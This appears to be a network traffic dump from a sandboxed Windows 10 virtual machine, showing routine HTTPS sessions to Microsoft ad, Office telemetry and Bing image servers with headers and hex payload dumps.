2024-11-28 01:27:17 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012714Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1fc2520cdeac41bfb89c3d01b95500ee&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=530840334,530725852,530455685&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p= Cache-Control: no-cache MS-CV: xvordVrvSkaV7eTE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:18 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23573 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: jPtFSVn2g7Q3wF33otkt2sixgXHLT9uVmEhP8OfdsfS66Gp8jby7H2BBCaqfCB/TY3obpxWYT4UrF3CnrJccw6tsoMWn221kEySpDNU1cDNekgyXOGO/ljNAKYJGPwYyF0ivolR8OBYsv2p/KK/3aGkvMyfRbauA1L1FIffoEmnUFj60HBQ2tFWELVKrSXVaqrSHvLx6zZJWeLlmgGRTG+5UStXIXWxmrOzhSl9Ak9HQ6fsQHQQZtCmbsGIUZOGgLp9M95ENDgrrHuM+t8FdKBtIdO/ySmBGxsU1IBZIDGfOu4+VfmYzYIKLZWBZkWlkdUoY4nALQ1ZeMHKMQ/3rlw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:17 GMT Connection: close
2024-11-28 01:27:18 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-28 01:27:18 UTC	8004	IN	Data Raw: 7a 4e 7a 41 34 4d 44 59 34 4e 54 49 77 4d 7a 55 31 4e 51 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 Data Ascii: zNzA4MDY4NTIwMzU1NQ==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012718Z-174f7845968px8v7hC1EWR08ng0000000y10000000006cza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49724	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:17 UTC	2607	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012714Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c12417e579054221b95d79c2c1ba9d67&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=99999999&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p= Cache-Control: no-cache MS-CV: xvordVrvSkaV7eTE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:18 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: i0D3xJhk5GBnovuwxU0g7ZjCb7n/5wy8XVRbaigvuHy5tSsHDKDFlQlgyrsGr3MUp7QTRfwDUSyMoU8seEwl7YDJAnA3W+rvpc82YBwtBHGJTNrB1tfS6fmGzRhz/ty5gEX8IULal4P8cPlCZCcA8hmUF6ZdendGbBzbstlAPhNvxCWIwHkZh+m1WylqIvY3SxFmZX1agVrKqathnys7JCqU9lkLiUllnG6h/0mqFheQXdfpjfEl/DGAdxCs6Z0Rd4D2TWNiPCV9iEoARcHvEVsRGCLiweFdJ1aTK2W9oc3JrhyiRm/+elGntpTZqLIzJ8ZlwROumgDSdQfWUf/56A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:17 GMT Connection: close
2024-11-28 01:27:18 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2ca1f14f-f01e-001f-3f2a-405dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012718Z-174f7845968ljs8phC1EWRe6en0000000xmg0000000084fa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012718Z-174f7845968kvnqxhC1EWRmf3g0000000gmg0000000042x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49733	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:18 UTC	346	OUT	GET /th?id=OADD2.10239340418587_1WAY0EU9WVN81W6N5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:18 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 706074 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 85DE0877EB2D4165966931F616B24ABA Ref B: EWR30EDGE0909 Ref C: 2024-11-28T01:27:18Z Date: Thu, 28 Nov 2024 01:27:17 GMT Connection: close
2024-11-28 01:27:18 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 33 3a 30 36 3a 34 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 23:06:468C
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 73 72 4b 5a 97 5a c4 17 f3 79 da 9d 8f 9b 20 b5 4b 78 bc a9 b6 63 6f dd ad b9 8c 14 75 28 5b dd c4 9a 0d d5 9b c3 fb c9 65 86 48 bf e0 3f 7a aa 6d a9 ef 2e 6e 2f 2f 25 b8 b8 9b f7 92 75 aa f5 26 ac 76 cf dc ef a7 47 f2 53 e3 f2 df f7 72 7e ea 3a 24 7f df 79 94 12 3f 75 14 dd d1 d1 5a 19 58 ab 4f fd d5 45 4f 91 b6 57 29 d0 2d 2e fa 89 3a d3 a3 a0 07 54 73 6c ed 52 53 68 01 bb 4d 3a 4a 28 a0 06 d3 a9 f1 a5 49 25 bc bf 62 fb 5f fc bb f9 be 5c 5f ef 50 32 ac 9f 3d 3d 17 f7 3f fb 56 8b 77 d9 35 37 cd 91 26 a0 a0 a7 5b d3 37 7f df ba 9a 05 91 ff 00 77 54 13 26 8e 2d f0 f9 94 ca 58 14 fd fa 96 34 d9 41 80 7d 9e 4f b1 7d a3 fe 59 f9 be 5d 43 b6 a7 8e 2a 7c 8b b3 f7 75 a1 3c e4 37 b6 b7 36 73 45 1d e4 13 45 e7 44 92 c5 e6 ff 00 1a 37 dd 6a 82 4a 9e 51 23 ff 00 ac Data Ascii: srKZZy Kxcou([eH?zm.n//%u&vGSr~:$y?uZXOEOW)-.:TslRShM:J(I%b_\_P2==?Vw57&[7wT&-X4A}O}Y]C*\|u<76sEED7jJQ#
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 5f ba fd d7 cd f3 56 81 03 4b 4b 1e 19 bc f0 be ab fd af 3c d6 3a c4 51 47 26 94 22 87 7c 37 7f 3f ef 23 97 fb 9f 2f cc 1a b9 d8 fc c4 eb 53 6c ff 00 9e 94 cf dd 56 66 d7 fb 21 f7 ea 4b 75 8c dc 7e ff 00 fd 5e 7f 79 e5 55 fd 0f 45 d5 75 a9 e5 b7 d2 ec 66 ba fb 2c 2f 73 2f 95 ff 00 3c 93 ef b5 77 3e 04 f0 1d ed cf c3 ef f8 4d 1e c8 df db 4b 7f f6 1f 36 22 93 25 a7 fb 4f 1f de dd b3 ee d2 0f 7b ec 9e 77 f6 1b 81 71 bf c9 f2 e3 ff 00 59 5b fa 7e 8f 3d dc 30 dc 5c 66 2b 0f 37 cb 96 eb ef 63 fd ea f4 9f 00 fc 28 f0 c7 8a f5 ad 57 4b 1e 3e c6 b1 f3 c9 a2 f9 b0 a2 43 71 12 ff 00 cf 67 dd 88 ea ff 00 c4 0f 0d e8 3e 07 f8 8f a5 78 7e d3 fd 2f ec 31 47 1d d9 f3 91 e2 92 e1 bf dc f9 5a b7 a2 a1 33 9b 14 aa c3 96 52 19 e0 15 d5 bc 03 14 5a ad c7 f6 2e b3 a5 ea 91 49 Data Ascii: _VKK<:QG&"\|7?#/SlVf!Ku~^yUEuf,/s/<w>MK6"%O{wqY[~=0\f+7c(WK>Cqg>x~/1GZ3RZ.I
